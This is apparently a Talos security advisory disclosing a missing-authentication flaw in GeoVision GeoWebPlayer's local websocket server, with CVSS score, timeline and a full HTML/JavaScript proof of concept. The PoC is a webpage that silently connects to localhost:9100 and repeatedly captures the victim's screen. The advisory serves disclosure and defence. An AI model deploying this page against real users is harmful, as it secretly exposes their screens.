Talos Vulnerability Report

TALOS-2026-2370

GeoVision GeoWebPlayer Websocket Server lack of authentication vulnerability

July 1, 2026
CVE Number

CVE-2026-13125

Summary

A lack of authentication vulnerability exists in the Websocket Server functionality of GeoWebPlayer (version(s): 1.1.1.0). A specially crafted websocket connection can lead to execute priviledged operation. An attacker can stage a malicious webpage to trigger this vulnerability.

Confirmed Vulnerable Versions

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GeoWebPlayer (version(s): 1.1.1.0)

Product URLs

GeoWebPlayer - http://ovision.com.tw/

CVSSv3 Score

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

CWE

CWE-306 - Missing Authentication for Critical Function

Details

GeoWebPlayer (also called “Web Plugin” in the GV-VMS documentation and “WS Player” for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, …). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly.

In order to access the websocket server no authentication is required. As such, any malicious website can attempt to open a connection to the server and potentially access sensitive APIs. In particular, it’s possible to call a combination of the create method and getScreenCapture to retrive the content of the user’s screen.

The following code snippet is an example to open the socket and attach to the first window that has a space in its title and then retrieve the content of the user’s screen potentially revealing sensitive information to the attacker.

<html>
<head>
  <script> 

const socket = new WebSocket('ws://localhost:9100');


function set_snapshot(img_data)
{
    const imgElement = document.getElementById("test_img")
    imgElement.src = "data:image/jpeg;base64," + img_data;
    imgElement.alt = 'Description of image';



}


cmd_pos = {
    method: 'setPosition',
    top: 0,
    left: 0,
    width: 1500,
    height: 800,
    camindex: 0,			
    title: "",
    index: 0,
    streamIndex: 0
};


cmd = {
    method: 'create',
    title: " ",
    top: 0,
    left: 0,
    width: 1000,
    height: 700,
    fullscreen: true
};



const myJSON = JSON.stringify(cmd);

socket.addEventListener('open', (event) => {
  console.log('Connection established.');
  // Now it is safe to send a message
  socket.send(myJSON);

});


socket.addEventListener('message', (event) => {
  console.log('Message from server: ', event.data);

  // If the data is JSON, you must parse it
  try {
    const messageObject = JSON.parse(event.data);
    console.log('Parsed message:', messageObject);
    // Handle different message types here if needed
    if (true) {
        method = messageObject["method"]
        data = messageObject["data"]

        if (method == "getScreenCapture")
        {

            set_snapshot(data);

        }

        else if (method == "create")
        {

            console.log("Create response")
            if (messageObject["success"]) {

                socket.send(JSON.stringify(cmd_pos))

                setInterval(() => {
                // Code here runs after 1000 milliseconds (1 second)
                socket.send(JSON.stringify({method: "getScreenCapture", index:0}))
                }, 500)

            }
            else
            {
                console.log("Failed to find window")
            }

        }

    }
  } catch (e) {
    // Not a JSON message, handle as plain text or binary
  }
});



  </script>

</head>
<body>
Hello
<img id="test_img"></img>
</body>
</html>

Timeline

2026-03-25 - Initial Vendor Contact
2026-04-21 - Vendor Disclosure
2026-04-28 - Vendor Patch Release
2026-07-01 - Public Release

Credit

Philippe Laulheret of Cisco Talos